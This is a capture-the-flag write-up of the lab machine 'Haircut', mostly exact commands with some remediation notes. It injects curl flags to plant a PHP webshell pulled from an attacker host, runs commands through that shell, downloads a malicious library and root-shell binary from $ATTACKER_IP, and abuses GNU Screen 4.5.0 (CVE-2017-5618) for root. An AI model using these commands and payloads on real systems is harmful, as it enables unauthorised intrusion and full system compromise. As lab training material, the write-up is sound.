Haircut
Summary
I scanned port 80 on $TARGET and found a 'Hairdresser checker' web application whose remote-fetch feature passed user-supplied input directly to a server-side curl call. By appending curl output flags to the URL parameter, I directed the server to fetch a PHP webshell from my own host and save it into the web-accessible /uploads/ directory — giving unauthenticated remote code execution as the www-data web-server account.
The user flag was read from disk through the webshell without ever needing a full interactive shell. For root, a standard SUID sweep revealed GNU Screen 4.5.0 installed with the setuid-root bit set.
Abusing the known CVE-2017-5618 exploit, I used Screen's session-log flag to write /etc/ld.so.preload as root, loading a pre-compiled malicious shared library that made a companion binary setuid root. Executing that binary produced a root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -sC -p22,80 $TARGETExact commands 2
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,307,401,403curl -i http://$TARGET/exposed.phpExact commands 3
printf '%s' '<?php system($_REQUEST["cmd"]); ?>' > shell.phppython3 -m http.server 8080curl -sS -X POST http://$TARGET/exposed.php --data-urlencode "formurl=http://$ATTACKER_IP:8080/shell.php -o uploads/shell.php" -d 'submit=Go'FixSanitise the remote-fetch endpoint: whitelist domains and strip command-line flags from the URL inputCritical
Exact commands 2
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=id; uname -a; hostname; pwd'curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=cat /home/maria/user.txt'FixDisable PHP execution inside the /uploads/ directoryHigh
Exact commands 2
curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=find / -perm -4000 -type f 2>/dev/null'searchsploit -m 41154FixRemove the SUID bit from GNU Screen 4.5.0 and upgrade to a patched releaseCritical
Exact commands 5
gcc -fPIC -shared -ldl -o libhax.so libhax.cgcc -o rootshell rootshell.ccurl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode "cmd=cd /tmp; curl -s http://$ATTACKER_IP:8080/libhax.so -o /tmp/libhax.so; curl -s http://$ATTACKER_IP:8080/rootshell -o /tmp/rootshell; chmod 755 /tmp/libhax.so /tmp/rootshell"curl -sS --max-time 40 --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=cd /etc; umask 000; /usr/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"; /usr/bin/screen-4.5.0 -ls'curl -sS --get "http://$TARGET/uploads/shell.php" --data-urlencode 'cmd=/tmp/rootshell -p -c "id; cat /root/root.txt"'Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |